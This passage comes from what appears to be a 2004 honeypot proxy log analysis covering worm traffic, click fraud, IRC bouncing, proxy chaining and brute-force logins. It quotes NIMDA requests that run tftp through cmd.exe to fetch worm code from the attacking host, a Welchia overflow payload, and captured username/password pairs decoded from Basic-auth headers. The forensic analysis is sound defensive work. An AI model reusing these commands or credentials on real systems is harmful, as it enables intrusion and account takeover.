68.48.142.117 - - [09/Mar/2004:22:20:26 -0500] "GET /scripts/root.exe?/c+tftp%20-i%2068.48

.142.117%20GET%20cool.dll%20httpodbc.dll HTTP/1.0" 200 566 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:21:16 -0500] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 200 5

66 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:22:07 -0500] "GET /MSADC/root.exe?/c+tftp%20-i%2068.48.1

42.117%20GET%20cool.dll%20httpodbc.dll HTTP/1.0" 200 566 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/

1.0" 200 566 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:23:48 -0500] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i

%2068.48.142.117%20GET%20cool.dll%20c:\\httpodbc.dll HTTP/1.0" 200 566 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:24:38 -0500] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i

%2068.48.142.117%20GET%20cool.dll%20d:\\httpodbc.dll HTTP/1.0" 200 566 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:25:28 -0500] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i

%2068.48.142.117%20GET%20cool.dll%20e:\\httpodbc.dll HTTP/1.0" 200 566 "-" "-"

68.48.142.117 - - [09/Mar/2004:22:26:19 -0500] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/

1.0" 200 566 "-" "-"

--CUT--

One thing that is interesting about these requests is that if the initial request for the cmd.exe file returns a status code of “200”, then it will move onto the second phase and try to use tftp to copy the worm code over to the vulnerable IIS server (bolded above). This propagation mechanism means that this is the “E” version of the NIMDA worm - http://www.dshield.org/pipermail/intrusions/2001-October/002063.php.

· Welchia- http://securityresponse.symantec.com/avcenter/venc/data/w32.welchia.b.worm.html. Welchia attempts to exploit the WebDav vulnerability (described in Microsoft Security Bulletin MS03-007) using TCP port 80.

Number of Welchia Log Entries: 10 from the following hosts:

# egrep "SEARCH ..x90" access_log | awk '{print $1}' | sort | uniq

68.105.175.198

68.145.194.90

68.226.132.24

68.233.204.25

68.237.228.160

68.53.171.23

68.65.228.155

68.71.130.54

68.80.230.152

68.85.208.96

Search Logic: Search the access_log file for all entries with the regular expression text of “SEARCH any two characters then x90” in them and show with the less command.

Search Command: egrep "SEARCH ..x90" access_log | less

Example Entry: The example entry below show one Welchia request.

# egrep "SEARCH ..x90" access_log | less

68.85.208.96 - - [10/Mar/2004:05:01:52 -0500] "SEARCH /\x90\x02\xb1\x02\xb1\x02\xb1\x02\xb

1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\

x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x0

2\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\

--CUT—

x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9

0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\

x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9

0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\

x90\x90\x90\x90\x90\x90\x90" 414 345 "-" "-"

# grep 68.85.208.96 error_log |less

[Wed Mar 10 05:01:52 2004] [error] [client 68.85.208.96] request failed: URI too long

By looking at this entry, you can see that the reason that our Apache proxypot generated an error was that the request URI was too long.

2.5 Attack Category – Banner/Click-Thru Fraud: Due to the large amount of revenue that can be generated by banner ads and pay-per-click hyperlinks, they are ripe targets for the greedy. This is not a normal “web-attack” like we have discussed thus far. There are no IDS attack signatures to identify. Each individual request, in and of itself, is not malicious. The abuse becomes visible when partner web sites inspect the source IP addresses/referrer of the banner ad entries. If the same IP address is repeated too many times within a time period, then this would indicate that an automated program was utilized instead of by real people.

Number of Banner Fraud Log Entries: 3311 from 227 different hosts.

Search Logic: Search the access_log file for all entries with the term “click” in them and show with the less command.

Search Command: grep -i click access_log | less

Example Entry: The example entries below show some banner ad fraud requests from the same IP address.

# grep -i click access_log | less

220.175.18.42 - - [09/Mar/2004:23:02:45 -0500] "GET http://partners.mygeek.com/presults.js

p?partnerid=98680&vendorId=97087&type=1&code=0&rate=845362362&cr=845362362&domain=service.

bfast.com&query=1078891353164%3A%3A69.56.226.130%3A%3Ahealth+insurance&url=http%3A%2F%2Fww

w.looksmart.com%2Fog%2Fpr%3DPsr%3Bro%3D1%3Brc%3D4%3Bla%3D33483%3Blm%3D171097%3Bkw%3D154428

%3Bed%3D20031114%3Bii%3D80b8.4602.404e87c5.5f1b%3Bpn%3D%3Bto%3D%3Btc%3D4%3Bpo%3D1%3Bpc%3D4

%3Bpi%3Dlzd%3Bts%3D%7Chttp%3A%2F%2Fservice.bfast.com%2Fbfast%2Fclick%3Fbfmid%3D26375915%26

siteid%3D40338265%26bfpage%3Difp%26bfinfo%3DLK2 HTTP/1.0" 302 511 "http://www.sanisearch.c

om/cgi-bin/smartsearch.cgi?username=arongyi&keywords=Health+Insurance" "Mozilla/4.0 (compa

tible; MSIE 6.0; Windows 2000)"

220.175.18.42 - - [09/Mar/2004:23:02:46 -0500] "GET http://www.looksmart.com/og/pr=Psr;ro=

1;rc=4;la=33483;lm=171097;kw=154428;ed=20031114;ii=80b8.4602.404e87c5.5f1b;pn=;to=;tc=4;po

=1;pc=4;pi=lzd;ts=|http://service.bfast.com/bfast/click?bfmid=26375915&siteid=40338265&bfp

age=ifp&bfinfo=LK2 HTTP/1.0" 302 281 "http://www.sanisearch.com/cgi-bin/smartsearch.cgi?us

ername=arongyi&keywords=Health+Insurance" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 2000

220.175.18.42 - - [09/Mar/2004:23:02:46 -0500] "GET http://service.bfast.com/bfast/click?b

fmid=26375915&siteid=40338265&bfpage=ifp&bfinfo=LK2 HTTP/1.0" 302 374 "http://www.sanisear

ch.com/cgi-bin/smartsearch.cgi?username=arongyi&keywords=Health+Insurance" "Mozilla/4.0 (c

ompatible; MSIE 6.0; Windows 2000)"

220.175.18.42 - - [09/Mar/2004:23:02:47 -0500] "GET http://service.bfast.com/bfast/click?b

fmid=26375915&siteid=40338265&bfpage=ifp&bfinfo=LK2&bfcookietest=Y HTTP/1.0" 302 357 "http

://www.sanisearch.com/cgi-bin/smartsearch.cgi?username=arongyi&keywords=Health+Insurance"

"Mozilla/4.0 (compatible; MSIE 6.0; Windows 2000)"

220.173.17.142 - - [09/Mar/2004:23:03:15 -0500] "POST http://www.clickcheaper.com/search.p

hp HTTP/1.1" 200 19472 "http://www.163.net" "Mozilla/4.0 (compatible; MSIE 4.0; Windows NT

2.6 Attack Category- IRC Connections: In the wild west of Internet Relay Chat (IRC), hiding your real IP address is a smart move if you want to avoid being hit with denial of service attack. There are groups/individuals who are constantly playing “King of the Hill” for the coveted role is SysOp on a particular channel. If a mutiny is successful and the SysOp is knocked off the channel, then the position is up for grabs. The SysOp needs to maintain control of the channel by having one of their bots logged in at all times. This is where our proxypot comes into play. If a bot logs into a channel through our proxypot, then our proxypot becomes the target of any DoS attacks and not the real source IP.

Number of IRC Connection Log Entries: 1696 from 239 different hosts.

Search Logic: Search the access_log file for all entries to common IRC ports and show with the less command.

Search Command: egrep '\:666[678] HTTP' access_log | less

Example Entry: The example entries below show some example IRC connection attempts.

# egrep '\:666[678] HTTP' access_log | less

66.36.242.145 - - [09/Mar/2004:23:42:10 -0500] "CONNECT irc.dal.net:6667 HTTP/1.0" 500 434 "-" "-"

161.142.39.204 - - [10/Mar/2004:01:52:04 -0500] "CONNECT stockholm.se.eu.undernet.org:6666 HTTP/1.0" 200 - "-" "-"

193.109.122.14 - - [10/Mar/2004:01:52:07 -0500] "CONNECT 193.109.122.67:6668 HTTP/1.0" 403 290 "-" "pxyscand/2.0"

193.109.122.58 - - [10/Mar/2004:01:52:09 -0500] "CONNECT 193.109.122.67:6668 HTTP/1.0" 403 290 "-" "pxyscand/2.0"

193.109.122.21 - - [10/Mar/2004:01:52:11 -0500] "CONNECT 193.109.122.67:6668 HTTP/1.0" 403 290 "-" "pxyscand/2.0"

161.142.39.204 - - [10/Mar/2004:01:52:13 -0500] "CONNECT ede.nl.eu.undernet.org:6668 HTTP/1.0" 403 298 "-" "-"

161.142.39.204 - - [10/Mar/2004:01:52:38 -0500] "CONNECT elsene.be.eu.undernet.org:6668 HTTP/1.0" 403 301 "-" "-"

161.142.39.204 - - [10/Mar/2004:01:54:04 -0500] "CONNECT us.undernet.org:6667 HTTP/1.0" 200 - "-" "-"

3. Do attackers target Secure Socket Layer (SSL) enabled web servers as their targets?

Answer: Yes, attacker do target SSL enabled web servers.

Number of SSL connections: 11778 from 152 different hosts.

Search Logic: Search the access_log file for all entries with “https” or port “:443” in the target URL and show with the less command.

Search Command: egrep 'https\:|\:443 HTTP' access_log | less

Example Entry: The example entries below show some example SSL connection attempts.

# egrep 'https\:|\:443 HTTP' access_log | less

192.117.242.67 - - [09/Mar/2004:22:04:29 -0500] "CONNECT login.icq.com:443 HTTP/1.0" 200 -

"-" "-"

192.117.242.67 - - [09/Mar/2004:22:04:29 -0500] "CONNECT login.icq.com:443 HTTP/1.0" 200 -

"-" "-"

192.117.242.67 - - [09/Mar/2004:22:07:11 -0500] "CONNECT login.icq.com:443 HTTP/1.0" 200 -

"-" "-"

192.117.242.67 - - [09/Mar/2004:22:09:38 -0500] "CONNECT login.icq.com:443 HTTP/1.0" 200 -

"-" "-"

192.117.242.67 - - [09/Mar/2004:22:09:38 -0500] "CONNECT login.icq.com:443 HTTP/1.0" 200 -

"-" "-"

212.57.187.242 - - [09/Mar/2004:22:11:27 -0500] "GET https://www.chel.mts.ru/sms/cgi-bin/c

gi_.exe?function=sms_send HTTP/1.1" 200 23501 "http://www.ya.ru/" "Mozilla/4.0 (compatible

; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.03 [en]"

Did they target SSL on our honeyproxy?

Answer: Yes, attackers did try and access the SSL web server on our proxypot.

Number of SSL connections: 2313 from 4 different hosts.

Search Logic: Search the ssl-access_log file for all entries with the less command.

Search Command: less ssl-access_log

Example Entry: The example entries below show some example SSL connection attempts against our proxypot.

# less ssl-access_log

66.36.242.145 - - [09/Mar/2004:22:40:38 -0500] "GET /mod_ssl:error:HTTP-request HTTP/1.0"

400 547

217.107.218.126 - - [09/Mar/2004:22:42:27 -0500] "GET /mod_ssl:error:HTTP-request HTTP/1.0

" 400 547

217.160.165.173 - - [12/Mar/2004:22:30:15 -0500] "GET /mod_ssl:error:HTTP-request HTTP/1.0

" 400 547

Why would they want to use SSL?

Answer: There are two different answers for this question –

· SSL software is just like any other application and vulnerabilities may surface. When they do, an attacker may probe the SSL-enabled web server for its version information to confirm a vulnerable implementation.

· Network Intrusion Detection Systems (NIDS) will not be able to inspect the Layer 7 (Application) data in the HTTPS requests. Attackers will often target an SSL-enabled web server to try and hide their activities from NIDS sensors.

Why didn't they use SSL exclusively?

Answer: Once again, there are two main answers here –

· Not every target web server offered SSL service.

· As mentioned above, attackers want to hide their web attacks from NIDS by tunneling it through SSL connections. This becomes even more obvious if the attacker were connecting directly to the target web server from their real system. In the case of our proxypot, however, the attacker has already taken steps to obfuscate their IP address so there are less concerned with being stealthy since they have anonymity.

4. Are there any indications of attackers chaining through other proxy servers? Describe how you identified this activity. List the other proxy servers identified. Can you confirm that these are indeed proxy servers?

Answer: Yes, there is evidence of proxy chaining by clients. The main evidence which indicates proxy use is the inclusion of the “Via” and “X-Forwarded-For” headers in the requests and responses.

Number of Proxy Connections: 19271 requests from 304 different hosts serving as a proxy for 5951 clients.

Search Logic:

· Number of proxied requests sent to our server – Search the audit_log file for all X-Forwarded-For entries, then give me a total number of requests.

· Number of proxy servers connecting to our proxy – Search the audit_log file for all Requests and X-Forwarded-For entries, then extract all X-Forwarded-For entries with their preceding/corresponding request, then extract the client IP from the request and sort it and give me a total number of unique hosts.

· Number of clients who used a proxy to connect to our proxy - Search the audit_log file for all X-Forwarded-For entries, then extract only the IP addresses specified in this token and sort it and give me a total number of unique hosts.

Search Command:

· Number of proxied requests sent to our server – egrep 'X-Forwarded-For\: ' audit_log | wc -l

· Number of proxy servers connecting to our proxy – egrep 'Request\: |X-Forwarded-For\: ' audit_log | egrep -B1 'X-Forwarded-For' | egrep 'Request\: ' | awk '{print $2}' | sort | uniq | wc -l

· Number of clients who used a proxy to connect to our proxy - egrep 'X-Forwarded-For\: ' audit_log | awk '{print $2}' | sort | uniq | wc -l

List of Proxy Servers: The proxy servers identified are in this list – proxy_servers.txt

Confirming the Proxy Servers: In order to confirm that these IP addresses were in fact proxy servers themselves, we could take three different approaches:

· Check Well-Known Proxy Lists: We can check online open proxy lists for these IP address as places such as the Distributed Server Boycott List website - http://dsbl.org/main.

· Use an Online Proxy Checker: We can use one of the proxy checking web sites (discussed in question 1) to verify if each IP address is in fact a proxy server.

· Make a Request Through the Server: We can make a direct connection to the server in question and make a proxy request and see what comes back. Below is an example of this:

# telnet 145.254.70.34 80

Trying 145.254.70.34...

Connected to 145.254.70.34.

Escape character is '^]'.

HEAD http://www.yahoo.com HTTP/1.0

HTTP/1.1 200 OK

Date: Tue, 11 May 2004 16:36:31 GMT

P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"

Cache-Control: private

Vary: User-Agent

Connection: close

Content-Type: text/html

Connection closed by foreign host.

While the X-Forwarded-For and Via headers do indicate the use of proxy servers, they do not necessarily equal malicious intent.

The Via header is used to identify proxy servers, per RFC 2068 http://www.cse.ohio-state.edu/cgi-bin/rfc/rfc2068.html#sec-14.44.

The Via general-header field MUST be used by gateways and proxies to indicate the intermediate protocols and recipients between the user agent and the server on requests, and between the origin server and the client on responses. It is analogous to the "Received" field of RFC 822 and is intended to be used for tracking message forwards, avoiding request loops, and identifying the protocol capabilities of all senders along the request/response chain.

As you can see from the RFC, all proxy servers MUST add in the “Via” header for requests that they service. By looking at the audit_log data, we can identify the path that these requests have taken to reach their target web server and identify intermediary proxy servers.

# egrep -C20 "Via\: " audit_log |less

========================================

Request: 220.173.17.142 - - [Tue Mar 9 22:59:19 2004] "GET http://mirror.qkimg.net/0208/808144-13 HTTP/1.1" 200 11616

Handler: proxy-server

----------------------------------------

GET http://mirror.qkimg.net/0208/808144-13 HTTP/1.1

Accept: image/gif, image/jpeg, image/x-xbitmap, image/pjpeg, */*

Accept-Encoding: gzip, deflate

Accept-Language: en-us

Host: mirror.qkimg.net

Pragma: no-cache

Referer: http://www.qksrv.net

User-Agent: Mozilla/4.0 (compatible; MSIE 5.02; Windows 98)

X-Forwarded-For: 209.121.186.154

HTTP/1.1 200 OK

Expires: Mon, 15 Mar 2004 21:15:49 GMT

Cache-Control: max-age=604800

Via: 1.1 atl.xpc-mii.net (MIIxpc/4.6 UNVERIFIED_CACHE_HIT Mon, 08 Mar 2004 21:15:49 GMT)

Accept-Ranges: bytes

Content-Disposition: filename=808144-13

Via: 1.1 ics_server.xpc-mii.net (ICS 2.2.64.208)

X-Cache: MISS from www.testproxy.net

Transfer-Encoding: chunked

Content-Type: text/plain

========================================

There is some great information (with a graphic) for TRACE Request communication (with Via headers) from the Oreilly Open Book – Web Client Programming with PERL web site - http://www.oreilly.com/openbook/webclient/ch03.html#34866.

The X-Forwarded-For client request header shows the client IP address that made the request to the proxy server that connected to our proxypot. Two caveats here for IP trace-back of this connection:

· This header can be easily spoofed. The IP address connecting to our proxypot can in fact be the one making all of the connection and is spoofing X-Forwarded-For headers to cause confusion or shift blame.

· The IP address listed in the X-Forwarded-For header may in fact me another proxy server. This is known as chaining proxy servers/requests, which leads to our next topic.

As discussed above, the existence of the X-Forwarded-For and Via headers does not directly indicate malicious intent, however there is another indicator of “intended” proxy chaining – the User-Agent field with term ProxyChains. ProxyChains is a command line tool used to tunnel connections through specific proxy servers - http://proxychains.sourceforge.net/. If a client makes a request to our proxy server with a User-Agent field of “ProxyChains”, then this indicates intent to force connections through certain hosts.

Example Entry: The example entries below show some example connection attempts with the ProxyChains info.

# egrep -C10 ProxyChains audit_log |less

--CUT—

========================================

Request: 66.98.172.68 - - [Fri Mar 12 01:14:30 2004] "CONNECT 66.98.148.38:25 HTTP/1.0" 40

3 286

Handler: proxy-server

----------------------------------------

CONNECT 66.98.148.38:25 HTTP/1.0

User-Agent: ProxyChains 1.8

HTTP/1.0 403 Forbidden

Connection: close

Content-Type: text/html; charset=iso-8859-1

========================================

Request: 216.196.251.10 - - [Sat Mar 13 01:42:21 2004] "CONNECT 192.168.65.10:80 HTTP/1.0"

500 434

Handler: proxy-server

Error: The proxy server could not handle the request <EM><A HREF="192.168.65.10:80">CONNEC

T 192.168.65.10:80</A></EM>.<P>

Reason: <STRONG>Could not connect to remote machine:<br>Connection timed out</STRONG

----------------------------------------

CONNECT 192.168.65.10:80 HTTP/1.0

User-Agent: ProxyChains 1.8

HTTP/1.0 500 Proxy Error

Connection: close

Content-Type: text/html; charset=iso-8859-1

========================================

This first entry shows a client trying to use ProxyChains to have our system connect to the SMTP service on another host. The second entry shows a client trying to use ProxyChains to have our system connect to another web server.

The final indication of proxy chaining would be the use of Socks/Wingate client checkers. These applications send SOCKS requests to proxy servers and the web server log file shows this data as the request “\x04\x01”. Look familiar? We already identified these entries in our “Request Method” analysis section above. Here are some example entries from our proxypot’s access_log file for these types of connections:

# grep "\x01" access_log |less

203.121.182.190 - - [09/Mar/2004:22:07:16 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [09/Mar/2004:22:58:41 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [09/Mar/2004:23:08:38 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [09/Mar/2004:23:18:35 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [09/Mar/2004:23:28:27 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [09/Mar/2004:23:38:21 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [10/Mar/2004:00:33:33 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [10/Mar/2004:00:43:33 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [10/Mar/2004:00:53:25 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [10/Mar/2004:01:03:22 -0500] "\x04\x01" 501 - "-" "-"

66.98.138.149 - - [10/Mar/2004:02:00:10 -0500] "\x05\x01" 501 - "-" "-"

203.121.182.190 - - [10/Mar/2004:02:09:03 -0500] "\x04\x01" 501 - "-" "-"

66.98.138.149 - - [10/Mar/2004:02:12:10 -0500] "\x05\x01" 501 - "-" "-"

66.98.138.149 - - [10/Mar/2004:02:12:11 -0500] "\x05\x01" 501 - "-" "-"

203.121.182.190 - - [10/Mar/2004:02:17:52 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [10/Mar/2004:02:26:41 -0500] "\x04\x01" 501 - "-" "-"

203.121.182.190 - - [10/Mar/2004:02:35:30 -0500] "\x04\x01" 501 - "-" "-"

65.113.238.149 - - [10/Mar/2004:02:42:15 -0500] "\x04\x01" 501 - "-" "-"

65.113.238.149 - - [10/Mar/2004:02:42:20 -0500] "\x05\x01" 501 - "-" "-"

66.93.172.211 - - [10/Mar/2004:02:56:06 -0500] "\x04\x01" 501 - "-" "-"

194.109.153.6 - - [10/Mar/2004:03:38:32 -0500] "\x04\x01+g\xc2m\x99\x02" 501 - "-" "-"

--CUT--

Here is more information from a mail-list where a user has seen same these connection attempts - http://cert.uni-stuttgart.de/archive/suse/security/2004/02/msg00402.html.

5. Identify the different Brute Force Authentication attack methods. Can you obtain the clear text username/password credentials? Describe your methods.

Answer: There were three different types of Brute Force Authentication attacks launched through our proxypot.

· HTTP GET Requests – This form of authentication includes passing the username/password credentials as part of the URL requested with an HTTP GET request. An example entry is below where a client is trying to authenticate to Yahoo accounts:

24.168.72.174 - - [09/Mar/2004:22:11:38 -0500] "GET http://sbc1.login.scd.yahoo.com/config

/login?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.

chkP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus_510&passwd=matthew H

TTP/1.0" 200 566 "-" "-"

24.168.72.174 - - [09/Mar/2004:22:19:33 -0500] "GET http://login.europe.yahoo.com/config/l

ogin?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.ch

kP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus_$$$$$$$&passwd=matthew

HTTP/1.0" 200 566 "-" "-"

24.168.72.174 - - [09/Mar/2004:22:27:46 -0500] "GET http://sbc2.login.dcn.yahoo.com/config

/login?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.

chkP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodusc&passwd=HELL HTTP/1.

0" 200 566 "-" "-"

24.168.72.174 - - [09/Mar/2004:22:35:48 -0500] "GET http://sbc2.login.scd.yahoo.com/config

/login?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.

chkP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus_!!!!!!!!&passwd=HELL

HTTP/1.0" 200 566 "-" "-"

24.168.72.174 - - [09/Mar/2004:22:43:47 -0500] "GET http://login.korea.yahoo.com/config/lo

gin?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.chk

P=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus9971&passwd=christ HTTP/

1.0" 200 566 "-" "-"

24.168.72.174 - - [09/Mar/2004:22:53:23 -0500] "GET http://login.europe.yahoo.com/config/l

ogin?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.ch

kP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus815&passwd=CHRIST HTTP/

1.0" 200 566 "-" "-"

24.168.72.174 - - [09/Mar/2004:23:12:08 -0500] "GET http://login.tpe.yahoo.com/config/logi

n?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.chkP=

Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus179&passwd=lord HTTP/1.0"

200 566 "-" "-"

By analyzing the distribution of the target web servers and the user credentials, it seems that the attacker is distributing his attack across multiple Yahoo servers and is targeting mutations of the account “exodus” with a few passwords. Perhaps this combination will result in less chances of being identified by locking out accounts. Generally speaking, this form of authentication is insecure since the data is not sent over SSL and that these URLs may be cached locally on systems, thus exposing user credentials.

· HTTP POST Requests – This form of authentication includes passing the username/password credentials as part of the PAYLOAD of an HTTP POST request. An example entry is below where a client is trying to authenticate to Yahoo accounts:

# egrep -B16 -A5 'PASSWORD\=' audit_log |less

========================================

Request: 12.202.244.240 - - [Sat Mar 13 12:49:07 2004] "POST http://www.allkindsofgirls.co

m/login.asp?reason=denied_bad_password&script_name=/members/loginNow.asp HTTP/1.1" 200 578

Handler: proxy-server

Error: mod_security: pausing [http://www.allkindsofgirls.com/login.asp?reason=denied_bad_p

assword&script_name=/members/loginNow.asp] for 50000 ms

----------------------------------------

POST http://www.allkindsofgirls.com/login.asp?reason=denied_bad_password&script_name=/memb

ers/loginNow.asp HTTP/1.1

Connection: close

Content-Length: 32

Content-Type: application/x-www-form-urlencoded

Cookie: ASPSESSIONIDAQASBQAR=KDDIHIACHEFOHMBCNFNHKNOF

Host: www.allkindsofgirls.com

Pragma: no-cache

Referer: http://www.allkindsofgirls.com/login.asp?reason=denied_empty&script_name=/members

/sessions/227/

User-Agent: Mozilla/4.73 [en] (Win98; U)

mod_security-message: Access denied with code 200. Pattern match "password\=" at POST_PAYL

OAD.

mod_security-action: 200

USERNAME=JOHN&PASSWORD=TRUSTNO1&

HTTP/1.1 200 OK

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=iso-8859-1

As you can see from the audit_log entry above, this client is try to submit authentication credentials to the target web site. Mode_Security identified the authentication keyword of “password\=” and subsequently blocked the request.

· HTTP Basic Authentication – With Basic Authentication, the web server prompts the client’s browser for credentials with a “401” status code. When the web browser receives the initial 401 – it displays the familiar login pop-up box:

When the client clicks “OK” the same URL is requested with an HTTP GET Method, however this time it includes an additional client header: Authorization: Basic XXXXXXXXXXXXX. The data in the Authorization header is the Base64 MIME Encoded user credentials submitted in the form of “username:password”. Below is an example basic authentication attempt:

# egrep -B10 -A10 'Authorization\: Basic' audit_log | less

========================================

Request: 81.215.8.250 - - [Wed Mar 10 01:51:33 2004] "GET http://members.sexy-babes.tv/ HTTP/1.0" 200 566

Handler: proxy-server

Error: mod_security: pausing [http://members.sexy-babes.tv/] for 50000 ms

----------------------------------------

GET http://members.sexy-babes.tv/ HTTP/1.0

Accept: */*

Accept-Language: en-us,en;q=0.5

Authorization: Basic NjlhMHo5YWc6a281NmFqNg==

Host: members.sexy-babes.tv

Pragma: no-cache

Referer: http://members.sexy-babes.tv/

User-Agent: Mozilla/4.73 ( compatible; [en]; Windows 98; athome020 )

mod_security-message: Access denied with code 200. Pattern match "Basic" at HEADER.

mod_security-action: 200

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=iso-8859-1

The example entry above seems to be a real person trying to authenticate to the web site. How can I tell that this is a real person and not an automated script? Two indicators:

o The request has a seemingly valid User-Agent field which indicates that the client is using Netscape-Navigator on a Windows 98 system. This data can be spoofed of course, so we need supplemental data to support our theory of a real person making this request.

o The request uses the GET Methods. When attackers conduct Brute Force attack sessions, they often use the HEAD request since it is faster due to not needed to transmit any body data. The attacker can determine if the Authorization data is valid based on the HTTP Status code returned. If the server responds with a “200 OK”, then they have valid credentials.

Luckily, as a preventative measure, our proxypot has been configure to identify any requests that submit an “Authorization: Basic” header, block the request and respond with a status code of “200”. This has two benefits – 1) the requests are never sent to the target web site, thus protecting them from the attack, and 2) The results of the Brute Force attack session are useless since it appears that all credentials are valid.

Obtaining the Cleartext Authorization Credentials: As discussed above, the only form of authentication that is obfuscating the credentials is Basic Authentication. Fortunately/Unfortunately, depending on your view, basic authentication is trivial to decode. First, we must extract all of the basic auth headers:

# egrep -i 'Authorization\: Basic' audit_log | less

Authorization: Basic Og==

Authorization: Basic am9ubm83NjpqZWFubmU=

Authorization: Basic cHJpbnRlbXA6Z29uem8y

Authorization: Basic a2VvbjIwMDpwaW1wcw==

Authorization: Basic eDc1N3g6bGFtZXI=

Authorization: Basic ZHF0czA1ZDM6YWljbHpwdXE=

Authorization: Basic cGF0czExMTphc2hsZXk=

Authorization: Basic cGF1bGhlaXQ6cGF1MWhlaXQ=

Authorization: Basic cGF1bGVqZzE6dGVtcGVzdA==

Authorization: Basic cGt3aG9uZXQ6cGt3aG9uZXQ=

Authorization: Basic cGxheXRleDpwYW50aWVz

Authorization: Basic cHJvamVrdDplbGVjdHJvbg==

Authorization: Basic cmFuZ2VtYW46Y2FzdGlsbGU=

Authorization: Basic cGFza3kyMjplbGRyZWQ=

Authorization: Basic ZGVlY2s6ZGFhY2s=

Authorization: Basic Z2tyZXV6OndhbGtlcg==

Authorization: Basic ZnVubG92ZXI6dG9tbWll

Authorization: Basic ZnRteWVyczp0cmF2ZWw=

Authorization: Basic dHRvbmkxOmN1c3RvbTE=

Authorization: Basic dGV0cm9uOm1vbmtleQ==

Authorization: Basic dG9ueW1lbjpjb21wdXRlcg==

Authorization: Basic VHJpcG9kZDpwYXNzd29yZA==

--CUT--

Next, we can use the MIME::base64 PERL module to decode this data:

# for f in `egrep -i 'Authorization\: Basic' audit_log | awk '{print $3}'` ; do echo $f | perl -MMIME::Base64 -ne 'print decode_base64($_)'; echo ; done |less

jonno76:jeanne

printemp:gonzo2

keon200:pimps

x757x:lamer

dqts05d3:aiclzpuq

pats111:ashley

paulheit:pau1heit

paulejg1:tempest

pkwhonet:pkwhonet

playtex:panties

projekt:electron

rangeman:castille

pasky22:eldred

deeck:daack

gkreuz:walker

funlover:tommie

ftmyers:travel

ttoni1:custom1

tetron:monkey

tonymen:computer

Tripodd:password

jander:shogun

Winded:maggie

Yasama:Yasama

ve58bd7e4:xxts6xax5w

--CUT--

6. What does the Mod_Security error message "Invalid Character Detected" mean? What were the attackers trying to accomplish?

Answer: Mod_Security will generate this error message based on three different security filters/checks:

· SecFilterCheckURLEncoding – URL Encoding validation

Special characters need to be encoded before they can be transmitted in the URL. Any character can be replaced using the three character combination %XY, where XY is an hexadecimal character code (see http://www.rfc-ditor.org/rfc/rfc1738.txt for more details). Hexadecimal numbers only allow letters A to F, but attackers sometimes use other letters in order to trick the decoding algorithm. Mod_security checks all supplied encodings in order to verify they are valid.

· SecFilterCheckUnicodeEncoding – Unicode encoding validation

Unicode encoding validation first appeared in version 1.6. Normally, it is disabled by default. You should turn it on if your application or the underlying operating system accept/understand Unicode. This feature will assume UTF-8 encoding and check for three types of errors:

